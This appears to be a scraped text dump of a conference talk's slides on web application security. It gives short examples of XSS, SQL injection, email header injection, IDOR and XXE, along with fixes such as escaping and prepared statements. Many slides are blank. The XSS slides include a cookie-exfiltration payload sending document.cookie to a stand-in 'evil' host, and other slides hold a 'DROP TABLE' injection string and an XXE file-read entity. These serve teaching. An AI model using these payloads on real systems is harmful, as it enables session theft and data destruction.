Ayesh Karunaratne Freelance Software Developer Kandy, Sri Lanka - - - PowerPoint PPT Presentation

▶
ayesh karunaratne
SMART_READER_LITE
LIVE PREVIEW

Ayesh Karunaratne Freelance Software Developer Kandy, Sri Lanka - - - PowerPoint PPT Presentation

Jan 01, 2023 357 likes •1.43k views

Ayesh Karunaratne Freelance Software Developer Kandy, Sri Lanka - Everywhere https://ayesh.me Ayesh @Ayeshlive Ayesh <form> <input name="query" /> <input type="submit" /> </form> var query =

slide-1
SLIDE 1
slide-2
SLIDE 2
slide-3
SLIDE 3
slide-4
SLIDE 4

@Ayeshlive https://ayesh.me Ayesh

Ayesh Karunaratne

Freelance Software Developer Ayesh Kandy, Sri Lanka - Everywhere

slide-5
SLIDE 5
slide-6
SLIDE 6
slide-7
SLIDE 7
slide-8
SLIDE 8
slide-9
SLIDE 9
slide-10
SLIDE 10
slide-11
SLIDE 11
slide-12
SLIDE 12
slide-13
SLIDE 13
slide-14
SLIDE 14
slide-15
SLIDE 15
slide-16
SLIDE 16
slide-17
SLIDE 17
slide-18
SLIDE 18
slide-19
SLIDE 19

<form> <input name="query" /> <input type="submit" /> </form>

var query = req.params.query

slide-20
SLIDE 20

var query = req.params.query; document.write('Search results for "' + query + '"');

slide-21
SLIDE 21

var query = req.params.query; document.write('Search results for "' + query + '"');

slide-22
SLIDE 22

var query = req.params.query; document.write('Search results for "' + query + '"');

slide-23
SLIDE 23

var query = req.params.query; document.write('Search results for "' + query + '"');

slide-24
SLIDE 24

var query = req.params.query; document.write('Search results for "' + query + '"');

slide-25
SLIDE 25

var query = req.params.query; document.write('Search results for "' + query + '"');

slide-26
SLIDE 26

var query = req.params.query; document.write('Search results for "' + query + '"');

<script>document.cookie</script>

slide-27
SLIDE 27

var query = req.params.query; document.write('Search results for "' + query + '"');

slide-28
SLIDE 28

this.src='http://evil/?c='+document.cookie

var query = req.params.query; document.write('Search results for "' + query + '"');

slide-29
SLIDE 29

this.src='http://evil/?c='+document.cookie

var query = req.params.query; document.write('Search results for "' + query + '"');

slide-30
SLIDE 30

this.src='http://evil/?c='+document.cookie

var query = req.params.query; document.write('Search results for "' + query + '"');

https://site.noob/?query=Ayesh+%3Cimg+src%3Dx+onerror%3Dthis.src%3D%27http%3A%2F%2F evil%2F%3Fc%3D%27%2Bdocument.cookie%3E

slide-31
SLIDE 31

<form> <input name="query" /> <input type="submit" /> </form>

$query = $_GET['query'];

slide-32
SLIDE 32

<?php query( "SELECT * FROM posts WHERE title = '$query' "); ?>

slide-33
SLIDE 33

<?php query( "SELECT * FROM posts WHERE title = '$query' "); ?> SELECT * FROM posts WHERE title = ' '

slide-34
SLIDE 34

<?php query( "SELECT * FROM posts WHERE title = '$query' "); ?> SELECT * FROM posts WHERE title = ' '

slide-35
SLIDE 35

<?php query( "SELECT * FROM posts WHERE title = '$query' "); ?> SELECT * FROM posts WHERE title = 'Ayesh' s talk is great

slide-36
SLIDE 36

<?php query( "SELECT * FROM posts WHERE title = '$query' "); ?> SELECT * FROM posts WHERE title = 'Ayesh'; DROP TABLE posts

slide-37
SLIDE 37

SELECT * FROM posts WHERE title = 'Ayesh'; DROP TABLE posts

slide-38
SLIDE 38
slide-39
SLIDE 39

<form> <input name="query" /> <input type="submit" /> </form>

$query = $_GET['query'];

slide-40
SLIDE 40

$query = $_GET['query'];

From: Site <tracking@site.noob> To: site-owner@aol.com Subject: Search alert for $query

slide-41
SLIDE 41

$query = $_GET['query'];

From: Site <tracking@site.noob> To: site-owner@aol.com Subject: Search alert for $query From: Site tracking@site.noob To: site-owner@aol.com Subject: Search alert for how did i accidentally build a shelf

slide-42
SLIDE 42

\r\n

$query = $_GET['query'];

From: Site <tracking@site.noob> To: site-owner@aol.com Subject: Search alert for $query From: Site tracking@site.noob To: site-owner@aol.com Subject: Search alert for how did i accidentally build a shelf Reply-To: evil@evil.com

slide-43
SLIDE 43
slide-44
SLIDE 44
slide-45
SLIDE 45
slide-46
SLIDE 46
slide-47
SLIDE 47
slide-48
SLIDE 48
slide-49
SLIDE 49
slide-50
SLIDE 50
slide-51
SLIDE 51
slide-52
SLIDE 52
slide-53
SLIDE 53
slide-54
SLIDE 54
slide-55
SLIDE 55

(ノ°Д°）ノ︵ ┻━┻

slide-56
SLIDE 56
slide-57
SLIDE 57

example@example.com Example-example

slide-58
SLIDE 58

How to <script>alert(‘xss’);</script> How to alert(‘xss’); my-awesome-song-*****.mp3 my-awesome-song-_____.mp3 How to <script>alert(‘xss’);</script> How to my-class>your-class my-class_your-class

slide-59
SLIDE 59
slide-60
SLIDE 60

Ayesh’s talk is <script>alert(“Oops!”)</script> Ayesh’s talk is &lt;script&gt;alert(“Oops!”)&lt;/script&gt; Ayesh’s talk is < script > alert(“Oops!”) < /script>

slide-61
SLIDE 61

<?php query( "SELECT * FROM posts WHERE title = %title ", $query); ?>

slide-62
SLIDE 62

<?php query( "SELECT * FROM posts WHERE title = %title ", $query); ?> SELECT * FROM posts WHERE title = 'Ayesh\'; DROP TABLE posts'

slide-63
SLIDE 63
slide-64
SLIDE 64

filter_var('foo@bar.com', FILTER_VALIDATE_EMAIL); is_email('foo@bar.com'); valid_email_address('foo@bar.com'); <field name="email" type="text" validate="email" /> var validator = require('validator’); validator.isEmail('foo@bar.com');

slide-65
SLIDE 65

filter_var(); var validator = require('validator’);

slide-66
SLIDE 66

filter_var(‘###foo@bar.com', FILTER_SANITIZE_EMAIL); sanitize_email(‘ foo@bar.com ');

slide-67
SLIDE 67

filter_var();

slide-68
SLIDE 68

filter_var('test <script>alert("xss");</script>', FILTER_SANITIZE_FULL_SPECIAL_CHARS); htmlspecialchars('test <script>alert("xss");</script>', ENT_QUOTES, 'UTF-8'); esc_html('test <script>alert("xss");</script>’); check_plain('test <script>alert("xss");</script>'); <field name="email" type="text" validate="email" /> var validator = require('validator’); validator.isEmail('foo@bar.com');

slide-69
SLIDE 69
slide-70
SLIDE 70

$post = $wpdb->query( $wpdb->prepare( "SELECT * FROM posts WHERE title = '%s'",$query )); $query = $connection->query(“ SELECT * FROM posts WHERE title = :title", [':title' =>$query]); $stmt = $pdo->prepare("SELECT * FROM posts WHERE title = :title"); $stmt->execute(['title' => $query]); $post = $stmt->fetch();

slide-71
SLIDE 71
slide-72
SLIDE 72
slide-73
SLIDE 73

SELECT * FROM posts WHERE title = 'Ayesh'; DROP TABLE posts

slide-74
SLIDE 74

var query = req.params.query; document.write('Search results for "' + query + '"');

<script>document.cookie</script>

slide-75
SLIDE 75
slide-76
SLIDE 76
slide-77
SLIDE 77

https://site.noob/user/796148

slide-78
SLIDE 78

https://site.noob/user/796148/edit

slide-79
SLIDE 79

https://site.noob/user/23453

slide-80
SLIDE 80

https://site.noob/user/23453/edit

slide-81
SLIDE 81
slide-82
SLIDE 82
slide-83
SLIDE 83
slide-84
SLIDE 84
slide-85
SLIDE 85
slide-86
SLIDE 86
slide-87
SLIDE 87
slide-88
SLIDE 88

{ name: "Tobias", age: "26", } array( 'name' => 'Tobias’, 'age' => 26 ); {name: "Tobias", age: 26}

slide-89
SLIDE 89

{ name: “Nadine", age: "26", } array( 'name' => ‘Nadine’, 'age' => 26 ); {name: “Nadine", age: 26}

slide-90
SLIDE 90
slide-91
SLIDE 91
slide-92
SLIDE 92

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/password" >]><foo>&xxe;</foo>

slide-93
SLIDE 93
slide-94
SLIDE 94
slide-95
SLIDE 95
slide-96
SLIDE 96
  • composer update
slide-97
SLIDE 97
  • composer update
slide-98
SLIDE 98
slide-99
SLIDE 99
slide-100
SLIDE 100
slide-101
SLIDE 101
slide-102
SLIDE 102
slide-103
SLIDE 103
slide-104
SLIDE 104
slide-105
SLIDE 105
slide-106
SLIDE 106